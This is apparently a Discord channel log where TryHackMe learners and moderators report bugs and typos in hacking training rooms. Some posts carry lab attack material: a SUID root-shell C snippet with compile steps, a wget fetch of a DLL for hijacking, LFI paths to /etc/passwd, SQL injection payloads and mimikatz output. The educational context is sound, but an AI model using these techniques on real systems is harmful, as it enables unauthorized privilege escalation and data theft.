room-bugs

[dense garnet]

Does it give compilation instructions too?

[rapid hawk]

Yes

Lol

[dense garnet]

Oof

You done f’ed up

[rapid hawk]

I didn't mess anything up lol. I followed it exactly

[dense garnet]

I think it’s probably an arch mixup

Run uname -a on both machines

And make sure both are x64_86

Or both aren’t

[rapid hawk]

Nope

I got it

Finally

Jesus christ

The directions are wrong

It's says to compile with gcc -c FILENAME.c -o exploit -w

Removing the -c flag makes it work

No wait

Nvm

I have confirmed I'm blind

I read the instructions wrong fir the last hour

Disregard my rant

[dense garnet]

It good now?

[rapid hawk]

Yep. Like I said. I'm blind

😂😂

[dense garnet]

Ight great

[tropic flame]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[bitter root]

Hi, in the room "IDOR", the website is trying to say that "IDs" is the same as "IDS - Intrusion Detection Systems" and gives an explanation of that. Not really a bug but a bit misleading for new ppl:

[dusky junco]

Hey thanks (: this has been reported to the team

[livid escarp]

Gave +1 Rep to @bitter root

[gritty mason]

In the LinPrivesc room Task7 Privilege Escalation: SUID, the split view guacamole server seems to be down and tries to reconnect over and over. I think I tried Task8 and had the same issue so I am not sure if more of the tasks have this problem or if its a local issue for me

It may be the remote desktop after the guacamole, its just erroring before connecting

[dusky junco]

Hello hello

would you mind posting a screenshot please? @gritty mason

I'm pretty sure I know what stage of the connection that is resulting in the error but I'd just like to confirm if that's okay?

[gritty mason]

let me give it a shot

[dusky junco]

Thanks. I'm trying to recreate this now myself

[gritty mason]

Thanks Ben

[dusky junco]

Thanks for that, I know the issue. I've forwarded it on to appropriate party

[gritty mason]

np, i think some of the other tasks in that room may be affected as well

i think i tried the task after that and then switched to a different room

[dusky junco]

Coolio, this is being fixed rn

[gritty mason]

Cheers

[dusky junco]

Hello hello, this fix has been applied to all VMs in the linprivesc AND the windows priv esc (namely you'll notice that the timer has increased)

[gritty mason]

Fantastic, that was a quick turnaround!

[dusky junco]

😎 💪

fastest keyboards in the west

https://tenor.com/view/brahmanandam-showdown-gun-gif-13935831

[gritty mason]

i have unfortunate news, i tried again and noticed the timer was much longer but its still looping on connect after launch :/

[dusky junco]

oh no 😦 I tested task 7 and it connected okay for me with the fix

[gritty mason]

i dont need to be connected to openvpn for the split to work right

i think i tried both ways

[dusky junco]

Nope

that error usually just means "wait a bit longer and refresh" waiting another minute or two and refreshing the page usually fixes it

unless it's a bit of an obsecure issue

[gritty mason]

im going to terminate and hard refresh and wait a few mins

[dusky junco]

sure thanks

[gritty mason]

if it still doesnt load ill just come back to that one later

[dusky junco]

are you trying task 7 still on lin priv esc?

[gritty mason]

yeah the SUID one

[dusky junco]

okay bare with I'll do some more testing

[gritty mason]

no problem, thanks for helping, appreciated

i have it loading one more time here its got about a minute left to go

https://tenor.com/view/angry-girl-tantrum-upset-憤怒-gif-9982157

that is not at all what i tried to type lollllll

i have no idea how that appeared

im leaving it though

[dusky junco]

This is actually how I fix things btw just scream enough about it

[gritty mason]

that gif gets better with each loop im glad i accidented it

what i was trying to type was that its still looping here and i probably could have used ssh on openvpn but i was being lazy to use split and now im pot committed

[gritty mason]

im going to take a hack break, thanks for your help again, ill try the room again tomorrow

[livid escarp]

Gave +1 Rep to @dusky junco

[wheat fractal]

On the IDOR room, task 7, on the last sentence it says IDs is the same as IDS - Intrusion Detection System
Not a bug per say but still can be misleading

[sonic willow]

yeah the keywords are case insensitive, which is a site bug i guess so maybe plop that in #site-bugs

[wheat fractal]

Alright

[rapid hawk]

https://tryhackme.com/room/winprivesc

Task 5
Finding DLL vulnerabilities
The task says that you could install the software on your own system to test for DLL vulns, but that it could give inaccurate results due to different system configurations. Then it turns around 2 sentences later and says that since procmon requires admin privs, you'll have to install the software on your own system.

Not necessarily a room breaking bug, or a bug at all. I just found it funny that it goes out of its way to tell you that installing the software on your own system can be inaccurate, only to tell you to do exactly that 2 sentences later.

[eager quartz]

Can anyone confirm that room https://tryhackme.com/room/kuberneteschalltdi2020 is still alive? I think it is dead as so far I was never able to connect to the cluster. Would be nice to get some feedback.

[pseudo canyon]

linprivesc > Privilege Escalation: PATH > What is the odd path in PATH? anyone face this problem ? there's no path has /4/4/ (4 characters) !!!

[rapid hawk]

/home/matt

The question is wrong

[pseudo canyon]

thank u

this is what i think

[spring mauve]

#room-help message

[rapid hawk]

So, another bug, this one is in task 5 of the windows privesc room.

So, Windows Defender is turned on, on the target machine, and sometimes it stops the dll hijacking exploit from working

[hazy tiger]

Room URL: https://tryhackme.com/room/fileinc
JR Penetration Tester -> Introduction to Web Hacking -> File Inclusion -> Local File Inclusion - LFI#2

Typo: include(langauges/THM.php);
Change: include(languages/THM.php);

( @dusky junco )

[dusky junco]

Hello, what is this exactly, Jabba?

[hazy tiger]

Typo I think

[dusky junco]

oh whoops

I didn't say what task this is

my brain conked out LMAO

[hazy tiger]

Oh I don’t know

[dusky junco]

the irony

[hazy tiger]

I can’t open the room

Looks like something called LFI#2

I reworded the email I was sent

[dusky junco]

How come you can't see it ?

[hazy tiger]

It was a little hard to understand ngl

[hazy tiger]

I don’t have premium

[ornate anchor]

Room URL: https://tryhackme.com/room/linprivesc
JR Penetration Tester -> Privilege Escalation -> Linux PrivEsc -> Task 6 Privilege Escalation: Sudo -> first question

Typo: the user "user"
Change: the user "karen"

I'm new here. There doesn't appear to be a user "user" on that box though. Gave the answer for karen and it worked.

[obsidian kiln]

You get free premium!

[hazy tiger]

It's on my alt

And I don't have the time to switch accounts rn

Inbox is full

[obsidian kiln]

Use your alt to check the room smh

[hazy tiger]

People need answering

I'm doing this for the people!

[white grotto]

The Task 5 - DLL Hijacking In the "Windows Privesc room" of the "Jr pentester path" has Win Defender still activated and removing the payloads we create (as shown in the task). Is this normal (I dont think it is) ?

[eternal summit]

cc @glad badger this has been reported a couple times now

[glad badger]

Will have to look at this later. To be sure, you are saying that Defender is enabled on the target machine?

[eternal summit]

From what others have said, yes. And it impacts the way the room tells you to do it

[glad badger]

Would be nice if Discord had a Save for Later option so I can save these issues into one channel for later. 😄

How to migrate 100,000 people to Slack 😂

[eternal summit]

Isn't this usually handled with QA tickets?

[white grotto]

Yes, on the target 🙂

[white grotto]

Absolutely

[rain rapids]

i found a bug for the walking an application room for the last question of task 3 i was able to locate what i believe the flag to be but its refusing it

[glad badger]

Checking this now.

[glad badger]

Try using (in PowerShell) wget -O hijackme.dll ATTACKBOX_IP:PORT/hijackme.dll on the target, instead of using certutil

[sonic willow]

room: https://tryhackme.com/room/oscommandinjection
task: 4

this works client side sure, but server side would still be a problem so this is still vulnerable

[obsidian kiln]

Wait, what?

@dusky junco that may need clarified, mate 😆
Not sure if you meant it to be vulnerable and that's just not made clear, or if you meant that as an example of a sanitised function

Because, uh, it really isn't 😆

Those also really should be code blocks rather than screenshots

[sonic willow]

the paragraph below that is checking server side, so maybe they should be combined to say something like client-side verification can be done with this method (pattern=x), however that's not enough because an attacker could intercept the request to bypass client-side controls. For this reason we also need to verify the input is a number server-side with this method (filter_input)

[teal basalt]

But isn't the input a string?
Like 10.10.10.10, these dots are being filtered by the set pattern
EDIT: these aren't filtered out automatically, only an information popup is shown by the browser that your input isn't valid

[eternal summit]

https://www.w3schools.com/tags/att_input_pattern.asp

@teal basalt No, not removed.
Just prevents submission

[teal basalt]

Ok👍
I haven't seen that room yet😅

[eternal summit]

My personal recommendation, and this will make you a better hacker, is to check the docs and see how it works before speculating about behaviour.

If you don't understand something, that's what the docs are for

[teal basalt]

Oh thank you
Actually, I had a similar check in one of my web application lately, and there I filtered out the input using oninput event😅
I will correct my earlier post

[sonic willow]

even if it was removing everything except that pattern, you can still bypass it by not even using the client

[proud kernel]

I have the same issue

[sonic willow]

room: https://tryhackme.com/room/sqlinjectionlm
task: 3

i think this section is formatted in a really confusing way. currently a section (in red) has either the "description text" above, below or above and below the table, which makes it confusing when reading about the next section

i would suggest for each section:

• what does the query do (for example, The first query type we'll learn is the SELECT query used to retrieve data from the database. )
• the query (for example, select * from users;)
• the table showing the results
• the explanation of the retrieved results (for example, The first-word SELECT tells the database we want to retrieve some data, the * tells the database we want to receive back all columns from the table. For example, the table may contain three columns (id, username and password). "from users" tells the database we want to retrieve the data from the table named users. Finally, the semicolon at the end tells the database that this is the end of the query. )
• <hr> to have a separator between each section

i edited the html to show sort of what i mean

[crude token]

On Cross-site scripting in Introduction to Web Hacking. Is this a known bug?

Oh I just saw it is

[crude token]

Change the . in the IP before p.thmlabs.com to -

[midnight junco]

hey for the network services 2 room, seclists doesn't seem to be installed in the kali attackbox, and when I try to install it I just get "unable to locate package seclists." Is this a known issue, user error, or something new?

[rapid hawk]

SecLists

[midnight junco]

don't think apt is case sensitive, but could be wrong

regardless, no dice there

[rapid hawk]

Hm. Weird. Try updating first?

[midnight junco]

already did

[rapid hawk]

Huh

I'm out of ideas then

[dense garnet]

What os is that? Most os’s don’t have seclists in the repo

Try git cloning

[midnight junco]

I can, but this is about learning metasploit, will installing via git mess up the metasploit integration?

[midnight junco]

This is using the site's kali attack box

[rapid hawk]

It shouldn't

You'll just have ti change the path

[dense garnet]

I don’t think so, but try seclists in /usr/share or in /opt

I think it’s there

[midnight junco]

not seeing it in either place, or did you meant to install it there?

[dense garnet]

No, I though it maybe there

Just git clone it, it’ll be the easiest

[midnight junco]

already did, but the documentation is pretty sparse, This is not seeming like a starting path room given the deviations from the instructions

[dense garnet]

Rooms aren’t always super accurate for attackbox and kali

[midnight junco]

I've already tried multiple other rooms to try and understand metasploit, and overall it's creating a very frustrating user experience.

The starting path just seems to assume familiarity, or links to rooms that get very esoteric very quickly

[lucid oasis]

I've fixed this locally, and it will be live sometime today. Thanks for reporting and for giving easy reproduction steps.

[livid escarp]

Gave +1 Rep to @raven turtle

[wheat fractal]

Noob question here. I am attempting to get root access on the Linux PrivEsc room - task 11.

Here is the code I am compiling with gcc.

int main()
{ setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}

After, I compile it with "gcc nfs.c -o nfs -w" and then use "chmod +s nfs" as the directions specify.

Next, going into the victim computer and using "./nfs" opens a new shell, but the shell remains as "karen".

Is this a bug?

[wheat fractal]

If you want my opinion, go with a kali install on a VM and go in with a VPN. It's a much, much better experience.

[midnight junco]

I have that option set up, but one of the things I was actually finding value in was the fact that the vm's self destructed after a bit, so if I got interrupted in the lesson it forced me to go back and make sure I understood what I was doing if only through rote practice

I was kinda assuming at some point for the more challenging stuff it would make sense to have a dedicated box, so I did that already and tested it out as a proof of concept. But for now I'll keep going with the self destructive vm flashcards 😉

[rapid hawk]

Just making sure, but you're transferring the file over nfs correct?

[wheat fractal]

Hi Joker. Yes - I am. The file is being created on the mounted directory, causing it to appear on my machine as well as the machine that I am attacking.

[rapid hawk]

Huh. That is weird.

[wheat fractal]

Yeah - here is what I am seeing.

-rwsr-sr-x 1 kali kali 16088 Oct 22 21:54 exploit
-rw-r--r-- 1 kali kali 74 Oct 22 21:54 exploit.c

so it has the SUID bit

when I go to the other machine, the file is there and i see this

-rwsr-sr-x 1 ubuntu ubuntu 16088 Oct 23 01:54 exploit
-rw-r--r-- 1 ubuntu ubuntu 74 Oct 23 01:54 exploit.c

[rapid hawk]

Did you compile it as root?

Because the file should be owned by root for it to work

[wheat fractal]

i did not add "sudo" in front of gcc

[rapid hawk]

There's your problem

[wheat fractal]

it worked!

[rapid hawk]

SUID keeps the file perms if the file owner. If the file is owned by root it is run as root. Since that file is owned by kali, or a low level user, nothing will change when you execute it as another low level user

[wheat fractal]

wow. big learning moment.

thank you. such a basic concept and yet I didn't think about it.

[rapid hawk]

No problem.

[obsidian kiln]

That depends on how the program handles privileges, tbf

If the program drops privileges then there's not a lot you can do about it

[wheat fractal]

excellent advice. thank you both.

[rapid hawk]

True true. I was talking in terms of the task he was doing but yea, that is something ti be aware of

[proud kernel]

still getting 502 bad gateway. I figured it out though. The site only works when I am not connected to the VPN

[wild bramble]

hi

the linux priv esc room - https://tryhackme.com/room/linprivesc
there is a typo..but can easily be customised or changes instead of changed

[wild bramble]

same room task 6

could the code be in a code block pls :p

[spring plume]

LinPrivEscSUID machine didn't start why?

I tried to run it multiple times but the issue remains

[wild bramble]

same happened with me so i tried sshing

[dusky oriole]

room/meterpreter
the links in task 2 are both broken. the text is correct. the hrefs are incorrect

[spring plume]

thanks man it worked well

[livid escarp]

Gave +1 Rep to @wild bramble

[rapid hawk]

@gleaming shadow

[wheat fractal]

anyone noticed that the dig output in nslookup and dig in passiv recon is missing?! xD

so much for dig shows more info ^^

[sonic willow]

for whoever’s fixing the above, it’s because of the angle brackets in dig output, < and > need to be < and >

[livid glade]

corp room broken

windows button, search function doesn't work. can't access powershell normally

[obsidian kiln]

And for anyone who wants to avoid that happening in the first place, a top tip: always encode your entire terminal text as HTML entities (e.g. through Burp Suite) before pasting it in, then save and refresh the page. The site will sanitise anything that needs to be sanitised, and decode everything else 🙂

[dusky junco]

Use this homie https://onlinetexttools.com/html-encode-text

Only convert the output/terminal text that you want to be displayed and not the entire snippet itself

i.e. this is what happens without it

convert

see the output that is no longer interpreted (:

[obsidian kiln]

Orrrrrr just encode the entire lot and let the site handle what it wants to leave encoded and what it's happy turning back to plain text 🤷‍♂️

[dusky junco]

i've always had issues with encoding the whole lot and certain things not rendering rigfht

[obsidian kiln]

(Means there are no compatibility issues with rendering engines)

Huh, that's strange

[dusky junco]

especially languages like XML

[obsidian kiln]

It's worked fine for me, although I can imagine XML potentially being a bit funky with it given it's basically HTML with no rules

[dusky junco]

I'd encode the whole thing (XML + the HTML snippet) and it'd encode the entire lot

only encode the XML and not the HTML snippet == success

very strange 😄

[obsidian kiln]

Wait, you're encoding the terminal block as well?

I was just meaning to encode the stuff you were putting in the terminal block

[dusky junco]

not to get it working

yeah

that

It was only when I was doing that it worked

[obsidian kiln]

Like here, for example:

I encoded this as HTML (all of it):

           

PS C:\Windows\system32> \\tsclient\share\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #```

[dusky junco]

Ah yea yeah

[obsidian kiln]

           

PS C:\Windows\system32> \\tsclient\share\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #


        

Like, turned it into that

Then refreshed the page

That's how I do it for all of them 🤷‍♂️

[dusky junco]

I thought by all of it / everything you meant all of it including the terminal container and gubbins

[obsidian kiln]

Oh lord no 😆
Yeah, that would not end well

[wheat fractal]

heyy, is there some bug in SQL Injection room from that new path? I am in Time based SQLi, and when I am querying, I get positive response only when querying for '_%' etc. For example, databased name was confirmed to be 9 times underscore, what is not a case here... I guessed a database name based on example query, and the user, and now I an on a password guessing, but it fails all queries except underscores. Edit: I did that, after reloading the machine I was capable to obtain password, but something is still wrong because the env does not respond properly for an example query referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';-- or even if I query its full name.

[young geyser]

Hi all, in the room FILE INCLUSION > Task 4 > Question 1, my answer is correct but its not getting accepted.

Please check

Answer: /lab1.php?file=/etc/passwd

[obtuse musk]

Hi there 🙂
In Holo, task 30, the link leads to a room that is set to private:
https://tryhackme.com/room/hololive

[dusky junco]

Ooh I need to remove that room from that definition

That is intentionally private for the time being 👀

@obtuse musk :^

[river timber]

Hi there. Certainly very minor but I thought I would point it out. In the Cross-site Scripting room (under Jr. Penetration Tester), the very first paragraph of Task 1 says, “However, none of the examples is overly complicated”. I believe the ‘is’ should be ‘are’ in that sentence. Again, minor, but wanted to pass it along anyway.

[snow badger]

https://tryhackme.com/room/burpsuiteintruder task 5 question 3, Sniper is good for attacks where we are only attacking a single parameter, aye or nay? Answers is aye, but imho this should be "nay"? The examples given are two params username and password, so maybe I'm misunderstanding what is meant by param in this case

[eternal summit]

But which are you attacking?
Constant username, variable password? So you're only attacking the one parameter

[versed yoke]

Room: File Inclusion
Task 1: Introduction

Issue: The image says that get.php is the file name but is it really? I'd say the last bit in the image (i.e. userCV.pdf) is the file name.

[eternal summit]

They're both file names.
You're requesting get.php with parameters. The parameters happen to include a file name.

[versed yoke]

oh, okay, gotcha, please ignore then 😄

[snow badger]

I see what you mean, I would probably not give an example of using sniper with 2 params(as you would probably use pitchfork in that case) and just show a bruteforce attack on a particular users password?

[eternal summit]

Is that not what's being done there?

[snow badger]

username=§pentester§&password=§Expl01ted§ thats 2 params

sniper most likely would be used in username=pentester&password=§Expl01ted§ mode

[obsidian kiln]

It would, but then how would you know how Sniper behaves if you give it two parameters?

[snow badger]

@obsidian kiln that is a good point, but I probably would first show with a single param, then with both and then explain that due to this behaviour its best suited for a single position attack(unless I'm missing use-cases for multiple positions)

[obsidian kiln]

It's quite literally in view from the last question 😆

[snow badger]

but it doesn't give a proper reason @obsidian kiln it says before that

Notice how Intruder starts with the first position (username) and tries each of our payloads, then moves to the second position and tries the same payloads again. We can calculate the number of requests that Intruder Sniper will make as requests = numberOfWords * numberOfPositions.

[obsidian kiln]

That was written with the assumption that people would be able to understand the implications of an attack type that iterates through positions, especially given the example.
Regardless, whilst sniper is good for single parameter attacks (which is what the question is asking) it is not only used for single parameter attacks. It's not even necessarily designed for single parameter attacks -- it just lends itself to them

Failing to cover a multi-parameter attack with sniper would be failing to properly cover the functionality of the tool

The full functionality of the attack type is demonstrated, with each request shown. If you can't extrapolate the implications, or see the uses from that 🤷‍♂️
Also the reason why the webapp basic understanding rooms come first

[eternal summit]

In tickets2, it still says Lucky title in the FAQ

[dusky junco]

resolved ty

[livid escarp]

Gave +1 Rep to @eternal summit

[versed yoke]

Room: File Inclusion
Task 4: Local File Inclusion - LFI
Question: Give Lab #1 a try to read /etc/passwd. What would the request URI be?

Issue: the accepted answer is /lab1.php?file=/etc/passwd but this URI actually doesn't result in being able to read /etc/passwd in Lab 1 because of errors visible in the attached screenshot.

What does work is the following URI: /lab1.php?file=/../../../etc/passwd but this one is not accepted as a valid answer. So as a user I was basically able to read /etc/passwd using this path but it wasn't accepted as a valid answer so I'd say it's currently confusing to the user.

Adding a screenshot of the second mentioned URI that does display etc/passwd but isn't accepted as a valid answer to the question.

[sonic willow]

it looks like you entered in the input box /lab1.php?file=/etc/passwd when you should only be entering /etc/passwd

[versed yoke]

I'm so confused right now. Why would even /etc/passwd alone work if the current path is listed as /var/www/html? I thought the directory needs to be moved up first. 😮

[sonic willow]

i'm not connected atm so i can't check sorry :( but i came to my conclusion because of this in the error

[snow badger]

lab 1 shows that the php code is

<?PHP 
    include($_GET["lang"]);
?>

in this case they just replace lang with file, so it includes anything in the file param, you can either input /etc/passwd into the box and it works or modify the URL to have it

on a different topic, in the burp lab when you login as admin there is a flag, is that used somewhere or was just missed as part of "CSRF Token Bypass" exercise?

[modern night]

Room: Linus PrivEsc (from new Jr penetration test, https://tryhackme.com/room/linprivesc)
Task 6
Issue:
The task is all about leveraging LD_PRELOAD, but when ssh'ing into the machine and using sudo -l the env_keep seems not to be availabe as shown in the pic

Well cant upload picture but if you follow the steps you can reproduce it

[snow badger]

Room: https://tryhackme.com/room/passiverecon task 7, typo Shodian.io

[obsidian kiln]

QA had me remove the question in case people messed up the bruteforce and were unable to complete the room

Think of it as an easter egg 🤷‍♂️

[stray fossil]

room "Common Linux Privesc", Task 6.
/etc/passwd/
if insert string without Group ID (GID) counted as correct

[eternal summit]

Yeah, that's answer tolerance

[small wigeon]

room: NMAP live host discovery (JR penetration)
the view site option opens up a subnet diagram but if you try to send a packet, it doesnt work. Is this happening for everyone?

[light mantle]

Room: https://tryhackme.com/room/xssgi

For any reason, by using the payload given at task 8 and port 1111 or 5555 (probably others <9000 as well), i received my own cookie.
By using port 9999, i managed to get the staff cookie.

Happened the same using the request catcher, attack box and my own kali machine.

idk if its a bug or its like that on purpose but i see no logic in it.

[glad badger]

Try to reestablish the connection, or terminate the deployed instance of the target machine and redeploy it. 🙂 Hopefully that will help you.

[river timber]

Found a small grammar issue in “SQL Injections - Task 5”. As shown below, the “it’s we’ve” should most likely be just “we’ve” for the sentence to make sense. Hope that helps.

[glad badger]

Fixed. Thank you for reporting. 🙂

[livid escarp]

Gave +1 Rep to @river timber

[river timber]

Happy to help!

[snow badger]

https://tryhackme.com/room/winprivesc task 5, it is impossible to do a sc stop dllsvc as the service doesn't support it, which means if you upload the wrong hijack.dll its borked

[vast pilot]

Did you get around it? I cant start the service

[vast pilot]

https://tryhackme.com/room/winprivesc - There's a bug with Task 5 - you cannot start or restart the service "dllsvc" you get an error message

[echo shoal]

linuxprivesc task 11 is bugged as well

cant really exploit it.

tried multiple payloads

The nfs task

if anyone has been able to do it can you dm?

[eternal summit]

#junior-pentester-path ?

[echo shoal]

yep

[eternal summit]

Ask there if you want to check with other people please

Post here with a demonstration of the bug if it's actually bugged

[echo shoal]

ugh my bad

task 11

okay will send it

[snow badger]

you can start it, but not stop it

[vast pilot]

I tried a few boxes and it wouldn’t start for me. Just hung on “starting”

[vast pilot]

I got an error when trying to start.

[snow badger]

thats expected, it will still trigger the payload, when you start it it just stays at "starting"

[vast pilot]

I have a screenshot of the error message “service cannot start”

[tropic karma]

Might be just me, but I appear to be having some issues with the Linux Priv Escalation room. More specifically, I have been attempting Task 6 (sudo) and Task 7 (SUID) rooms. When launching the machine, I will always get a connection error with the machine trying to restart every 15 seconds. I can ssh into the machine via my Attack Box. However, in task 6, I do not see a LD_PRELOAD variable and in task 7 I am not able to nano /etc/shadow. Am I doing something wrong?

[snow badger]

not a bug, please ask in #junior-pentester-path

[snow badger]

not a bug please ask in #junior-pentester-path (hint its not ld_preload to get the flags)

[tropic karma]

Thank you, @snow badger

[livid escarp]

Gave +1 Rep to @snow badger

[zinc dust]

hello there, "Nmap Live Host Discovery" room, task 2 (Subnetworks) shows broadcast traffic being sent back to the source host, which is wrong. Switches forward broadcast to all ports but the one they receive packet from

also task4, "packet that computer1 received before being able to send the ping" should be "arp reply" not "arp response". Ofc this is a response but the message is called "arp reply" 🙂

[rapid hawk]

you can almost always write to /tmp

[chilly talon]

For room: https://tryhackme.com/room/xssgi

On the final challenge, I've set the payload and I can get the cookie if I select the ticket (which I know my cookie isn't the answer) but it states to "wait up to a minute" and after multiple resets of the box I'm still having to wait 5-10 minutes with no cookie from the staff

[dense garnet]

I got annoyed by this aswell

Try using the requests catcher

[dense garnet]

Thats the only thing that worked for me

http://10.10.10.100/

[raw bison]

https://tryhackme.com/room/protocolsandservers task 6. We are connected on the POP3 port. But the 2nd question is asking about "How many email messages are available to download via IMAP". Isn't it meant to ask about "How many email messages are available to download via POP3"? IMAP will be in the next task.

[sonic willow]

room: https://tryhackme.com/room/passiverecon
task: 4

the dig output is still not fully shown because of encoding issues

[snow badger]

https://tryhackme.com/room/rpmetasploit task 7, search server/socks5 doesn't work, so while answer is auxiliary/server/socks5 it should be auxiliary/server/socks_proxy

[brisk yew]

i can't have my hacker role

[misty cave]

Currently doing the https://tryhackme.com/room/burpsuiteom room and the last question in Section 6 is

"Compare the two responses by word. How many differences does Comparer detect in total?" the correct answer is ||9|| but when i compare i get an answer of 8. I think this is down to a potential difference in the time field, which may throw users off. If you send both requests within a minute of each other you have 1 less difference.

I've also just spotted there's a double space between the words "responses" and "by" in the question. Wouldn't have noticed except it took me a moment.

[obsidian kiln]

Either way it should pick up the seconds field? If anything, doing it outside of a minute would cause problems as it would go up to 10

[misty cave]

seconds field counts as one word of the differences, and yes, doing it outside of a minute makes it go up to 9, which is the intended answer. if you took 10 minutes then i think it'd still count as the same word, and an hour to answer the question may be a little excessive.

[obsidian kiln]

I just did it inside of a minute and got 9

[misty cave]

interesting, not sure how else to explain this, unless there's another point of variance in there too?

There's 2 off screen sections of difference in the cookie

[obsidian kiln]

The time field is identical for both?

Oh, wait. Tf

One sec

[misty cave]

i did one, then another 6 minutes later, so two compares

[obsidian kiln]

Well, I just got 7, so that's unstable

Will rework it

[misty cave]

a possible suggestion would be words of difference in the Set-Cookie field?

[obsidian kiln]

Hm?

The cookies won't consistently be in the same format unfortunately

[misty cave]

aaah, that's fair then, i was trying to think what difference you're trying to highlight using the question, I guess it's based off the location and maybe redirect url? I'll leave you to it though, it's my bedtime 🙂

[obsidian kiln]

All I wanna do is get them to try it 😆

[misty cave]

It showed me functionality I hadn't used, so thank you, is a good room for that

[livid escarp]

Gave +1 Rep to @obsidian kiln

[untold mural]

I got 4 tickets for finishing https://tryhackme.com/room/tickets2 instead of 1?

I havent shared a link or finished any of the path rooms and may have spammed "click to redeem" a few times, but cba making another account to test it

[versed yoke]

Room: Passive Reconnaissance
Task 6: Shodan.io

Issue: question 3 asks about the 3rd most common port used for nginx. According to Shodan, this has now changed and the accepted answer on THM is outdated. The currently accepted answer is 8888 which is on #9 spot on Shodan; the third most common port is currently 5000. Screenshot as proof.

[strong kelp]

In https://tryhackme.com/room/windowseventlogs task 4

Execute the command from Example 7. Instead of the string Policy search for PowerShell. What is the name of the 3rd log provider?

Execute the command from Example 8. Use Microsoft-Windows-PowerShell as the log provider. How many event ids are displayed for this event provider?

The 2 questions above says to look into example 7 and 8, but in the documentation the examples i have to use are for the examples 8 and 9.

[obtuse musk]

Hi there 🙂
In the holo live https://tryhackme.com/room/hololive, task 31, the hyperlink address to given file has changed.
It should be:
https://github.com/BC-SECURITY/Empire/blob/master/empire/server/common/bypasses.py

[deft elm]

IDOR Room Task 7 the deploy machine is not working

[twin tapir]

@candid canyon

stop changing repo structure

[calm laurel]

Hey guys not sure where to post this but noticed a typo/grammer issue in Linux Fundamentals room part 2 task 3 "introduction to flags and switches" the last sentence in the first part says "...contents in the screenshots below are only examples and are not those of those the instance that you deploy in this room."

[white ember]

Burp suite room task 9 last question answer should be "a' or 1=1--" without the quotes, but when I click the submit button nothing happens.

[eternal summit]

You running bitdefender or something?

[white ember]

No

I guess I could try it from my home PC? I usually do THM from work, that's when I have the most time to do it lol

[eternal summit]

So it might be being blocked by some software running on your work PC or work network

Considering it's an SQL injection payload

[obsidian kiln]

That's also the old Burp Suite room -- it is unmaintained 🙂

[sonic willow]

should it not be deleted/archived now then

[candid canyon]

https://tenor.com/view/parks-and-recreation-tv-show-ron-swanson-nick-offerman-throwing-away-computer-gif-17541708

[lost crest]

Hello. I am having issues with the Walking an Application room, Task 3, 3rd question; What is the directory listing flag? I believe I found it "THM{CHANGE_DEFAULT_CREDENTIALS}, but it will not accept that answer. I have answered the other (3) questions in this task, and this is the last one.

I just realized I may have put a Q/A out there, and I am sorry if I was NOT supposed to....my bad.

I don't even know if I am in the right room now, but this feels like a bug since its the last of (4) questions and it won't accept the answer. If I am in the wrong place I would appreciate if someone would guide me to the correct room. Thank you.

[stuck stirrup]

thanks for reporting. i've notified the creator

[livid escarp]

Gave +1 Rep to @versed yoke

[stuck stirrup]

looks like there was a commit to add an additional example to the doc -- https://github.com/MicrosoftDocs/PowerShell-Docs/commit/13c15ad7d853f512106e0a977daa93c9dc2812e9#diff-33e7acf7f8356bf18c72c3f3524ed6f6360cd166b13536143712cea76f8d5767. I'll let the creator know. thanks for reporting this.

[livid escarp]

Gave +1 Rep to @strong kelp

[stuck stirrup]

fixed this. thanks for reporting 🙂

[livid escarp]

Gave +1 Rep to @calm laurel

[split mulch]

I guess this is a bug? Something wrong with a script?

Room is called Steel Mountain

[tidal abyss]

Looks like instead of the actual script you downloaded some HTML response?

Did you download the raw file (https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1) ?

I am guessing you did wget on the link in the room which is a link to the github, not directly the "raw" script

[split mulch]

Just checked, you are right, my mistake 😄

Thanks

[spare lichen]

Hello all 👋
I've got a lots of bugs on my throwback lab, is it possible to contact a modo or something ?

[obsidian kiln]

@twin tapir

Oh

-unmute @twin tapir

[livid escarp]

🔊 Unmuted Cryillic#0078

[wheat fractal]

Protocols and Servers: POP3 second question seems to be in the wrong task

[twin tapir]

Please just post bugs in #743859653343182930 I don’t have the time to track down bugs individually

[thin sleet]

Not sure if this belongs here or if anyone cares but found a typo in the Jr Penetration Tester path > Introduction to Web Hacking > SQL Injection > Task 2

[obsidian kiln]

Fixed 🙂

[dusky junco]

Damn it Muiri I was literally hovering over "Save"

[dusky junco]

all fixed ^ (:

hah! in your face Muiri 😄 I got the ping off lmao!

[obsidian kiln]

Oi. I fixed that one 🤣

[dusky junco]

🤣

[half scarab]

In Room linprivesc task 8
the flag permission is read by everyone instead of only by root.

[wheat fractal]

JR Pentester Path:
Local File Inclusion 2 Lab 3:
Looks like there is a bug in THM since it accepts the wrong answer. Even if you missed the %00 at the end, you are right.

[eternal summit]

That's just answer tolerance

[tacit shadow]

Hello there THM people. Have you tried this THM room by Tib3rius https://tryhackme.com/room/linuxprivesc

There is a question like so :
What is the name of the option that disables root squashing?

I think to prevent root squashing we should use root_squash in the /etc/exports file

But according to the room the answer it's no_root_squash 🤔

[obsidian kiln]

Having implemented that myself, I can confirm that it is no_root_squash

[iron orchid]

We have a levelling system based on how many messages you send in the server, provided by the MEE6 bot. Roles are automatically given as you level up, and they range from level 1-10.

• For every minute that you send a message in a text channel, you get a random amount of XP. (Talking in voice chats does not count.)
• The XP required to reach the next level increases significantly as you go up.
